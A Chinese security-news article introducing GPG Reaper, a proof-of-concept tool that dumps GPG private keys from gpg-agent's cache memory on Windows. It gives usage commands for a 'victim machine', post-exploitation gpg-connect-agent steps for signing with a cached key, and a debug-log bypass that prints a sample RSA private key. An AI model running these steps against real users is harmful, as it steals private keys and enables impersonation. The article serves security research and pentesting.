freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

GPG Reaper:一款可以从Gpg-Agent缓存内存中获取或恢复GPG私钥的工具
secist 2018-04-28 13:00:45 561309

此POC演示了从Windows下的gpg-agent内存中获取GPG私钥的方法。通常这应该在10分钟内完成(--default-cache-ttl值)。不幸的是,只有当你使用GPG(这里没有定时器)时,housekeeping()函数才会被执行(负责缓存清理)。这意味着,在正常的GPG用例中,如:你签名了某个文件,然后关闭GUI并执行其他任务,即密码仍在gpg-agent内存中(即使ttl已过期)。有权访问你当前会话的攻击者,可以在不知道你密码的情况下使用它来窃取私钥。

安装

pip install PGPy

如果出现以下问题:

TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:

接着安装:

pip install six==1.10.0

测试

1.安装Gpg4Win 3.0.3

2.打开命令行启动代理,并将默认缓存ttl值设为2秒:

cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2

3.运行Kleopatra并生成新的密钥对

4.签名一些示例测试文件

5.Pinetry会弹出并要求你输入密码

6.重复步骤4-5。每次pinetry都会显示,因为我们的2秒缓存已过期

7.运行GPG reaper

powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt

你将看到如下内容:

[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid           [ultimate] Adam Nowak <anowak@example.com>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes

可以看到我们转储了密钥。

8.恢复私钥:

python gpg_reaper.py .\testme.txt

私钥被转储到了文件:

[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <anowak@example.com>

简介

GPG-Agent是一个守护进程,可以独立于任何协议管理私钥。GUI界面使用Assuan协议与代理进行通信。默认情况下,代理缓存你的凭证。--default-cache-ttl n选项,将缓存条目有效时间设置为n秒。默认值为600秒。每次访问缓存条目时,都会重置其定时器。在Windows下签名过程如下所示:

这里的关键部分是housekeeping()函数,它负责从内存中删除过期的凭证。但是这里有一个问题:这个函数只在两个地方执行(在agent_put_cacheagent_get_cache中)。这意味着在执行一些使用agent_put_cache,agent_get_cache或agent_flush_cache的gpg-agent命令之前,不会从内存中删除缓存的凭据。

使用

受害者机器:

powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt

将out.txt传输到你的机器并恢复私钥:

gpg_reaper.py out.txt

私钥将被转储到单独的文件中。

如果GPG安装在默认目录之外:

Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe

如果你不想显示调试信息:

Gpg-Reaper -Verbose $false

使用GPG在机器上进行后利用

假设你正在进行渗透测试,并且你在安装了GPG的计算机上获得了shell。如果你的运气不错,目标用户最近使用了GPG且缓存没有过期,你可以:

1.签名一些文件:

运行c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe

获取特定机器上可用的密钥列表

KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -

设置keygrip和消息哈希

SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN

2.导出私钥:

运行c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe

获取wrapping key

KEYWRAP_KEY --export

从密钥存储区导出密钥。密钥将使用当前会话的密钥wrapping key使用AESWRAP-128算法进行加密

EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2

不幸的是这并没有按我的预期工作,它要求输入密码。这是为什么呢?由于cmd_export_key()函数正在使用CACHE_MODE_IGNORE标志执行agent_key_from_file(),这也意味着其不会使用缓存,并且每次都会要求用户输入密码。

绕过私钥导出限制

我们知道,在没有密码的情况下是不可能通过gpg-agent导出GPG密钥的。

Agent有几个选项可用:

1. --debug-level

选择调试级别。 级别可能是数值或关键字:

guru - 所有你可以获取到的调试信息。

2. --log-file file

追加所有日志输出到文件。这对于查看代理实际所做的工作非常有帮助。

让我们使用gpg-agent.exe --daemon --debug-level guru --log-file out.txt运行代理并签名一些文件。

2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SIGKEY 590A068768B6A5CB4DD81CD4828C72AD8427DFE4
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETKEYDESC Please+enter+the+passphrase+to+unlock+the+OpenPGP+secret+key:%0A%22adam+nowak+<nowak@adam.xxx>%22%0A2048-bit+RSA+key,+ID+1308197BFDF95EAA,%0Acreated+2018-02-28.%0A
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETHASH 8 B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- PKSIGN
2018-03-04 18:21:15 gpg-agent[7180] DBG: agent_get_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) ...
2018-03-04 18:21:15 gpg-agent[7180] DBG: ... miss
2018-03-04 18:21:15 gpg-agent[7180] starting a new PIN Entry
2018-03-04 18:21:15 gpg-agent[7180] DBG: connection to PIN entry established
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> INQUIRE PINENTRY_LAUNCHED 3736 qt 1.1.0 /dev/tty - -
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- END
2018-03-04 18:21:18 gpg-agent[7180] DBG: agent_put_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) requested ttl=0
2018-03-04 18:21:18 gpg-agent[7180] DBG: skey: (private-key
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (rsa
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (n #00EBF36EC96D941D126938C8BD7471F4BA4FF456A3034AD4EEBABABA3A6DE52445A2A67A4FB3DF8B90C6FD65D4B648D62749905DA1CEA7ECB8C31F7DC7ECF3B581668BA3041E6AD57DBE04D75E4C74612B310704B107AB49EE731FB991A7EE0B42E9BD4CD2FF09A2C5EC0AB13B4F53287706432BD03EFD5EA5AAC194CEF188018AAD3E394F14C587BB9A829E21EC39132652CED22B561EDB34E0E4FA64FD2E6035E035EA2592C2C89E71AD2B7A3B4BBFC14288D5448D6F7A64B37AB5AA80E5D34D03F9FC6375882D298DDBCB95F192C669DB141AA2B5F29F2DFC3B12DCB7385492C3EAD8F675901B78C69238A60E76163ED1130D9B4054A9A90AB8DA148280351F#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (e #010001#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (d #4B873C9EF0DB392524167FB7999742CA02FF095E9C16AFAB8D8D69407BDE1E2AC64279239B46032480762BCB17E09FE0AA9D3243B1E5B21280AF4B719C6974DFEBA5E63452D24AEDB9CE4DEC8B17B3E502082799CD8528A0D22C45181983CB0A0BCD4352C53DDDE3724807EC9EDB5538288286FB5DB6783E1AB765BD8AB6491B7021D17AEDD7494F902121C4B2C3BDB1447C0AABADD00FBD66EEC23882F9FC13DC967E6F1F5ABBAD9FA7E583360A31D3DAEC53CB46F981398CAAD511179E11B5BA04BDB79699AA58687287E9ABA9A820B22872C54078411A142AEA804497581AAD96FCBE4F01202AA4E687672973D26E7148AB7A269B60C68581817B1EB31DE5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (p #00ED6EA59EE03412314BF288629568237A649FACC88C5D6E2F266A58D1CF6BA26254526F916FF7CFC6AF5B5ED0618CE00099DCFB9CB1F7C6BAD6945A8125ECD6A352E8056644A7336FFE2C203B098ED7767FD51101FD4842F1DED870DFD4D1F947D5FB7AB13E318C977AB875F86785F8B98260BB3BA1F6133D03C9296F22875E23#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (q #00FE67215C9C6FEF8C21C81A9B34AAB91FCD321D95E3641D7EFE4B89BBAD918CF94068AC89440147ED07E68EC65997568921DE740A504D2D99DDB997BE7DE09228678F544226F2D75F62447AECD7385773D9A7B0EF272B5CF4F32B4EFCB1B0B81893DE768B692D350CFB6B32A683DF773D66169A436DC233AD412FD438E366B6D5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (u #17BA591E668D2D78B1C74E5820A9FE31481232D34B6EBBC2004767512AD4835A42B0621EBE6CD4359BFD9B8DDA3DF234471C99B1CF553EBCF5019452143360FEC051024E43063913DD7A36FA1CA12C02FEAF07C4A4DA50C5286264BC38333C85371B13C704B1FA0265FA4DF17CC1E02B9E37ACA7D72AE40413CA6E5548107299#)))
2018-03-04 18:21:18 gpg-agent[7180] DBG: hash: (data
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (flags pkcs1)
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (hash sha256 #B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA#))

这看起来像guru模式,打印n,e,d,p,q和u数字到log文件。知道这一点,我们可以计算公钥和私钥。当DBG_CRYPTO被设置,内部skey值由gcry_log_debugsxp()打印:

if (DBG_CRYPTO)
{
  gcry_log_debugsxp ("skey", s_skey);
  gcry_log_debugsxp ("hash", s_hash);
}

相关问答:

1.为什么选择使用PowerShell?

因为这个文件可以在大多数现代Windows系统上,在没有任何外部依赖的情况下运行。

2.GPG %file%不存在

gpg-connect-agent.exe,gpg-agent.exe或gpg.exe在默认位置不存在。

你可以尝试使用以下方式指定自定义位置:

Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe

3.没有正在运行的gpg-agent

gpg-agent.exe没有在这个系统上运行,所以我们不能恢复私钥。

4.gpg-agent版本,sha256未知:

目前这个脚本只支持特定的版本

5.没有被缓存的密钥

内存中没有被缓存的密钥,因此我们无法恢复私钥。

*参考来源:kitploit,FB小编 secist 编译,转载请注明来自FreeBuf.COM

# GPG # GPG Reaper # 私钥
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 secist 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
secist LV.9
每个人的心中都有一个梦。。
  • 369 文章数
  • 267 关注者
ATTCK-PenTester-Book:根据ATT&CK知识体系编制的长达400页的渗透手册
2020-02-10
Sniffle: 蓝牙5和4.x LE嗅探器
2019-11-23
Docem:向docx odt pptx等文件中嵌入XXE或XSS Payload
2019-11-11
文章目录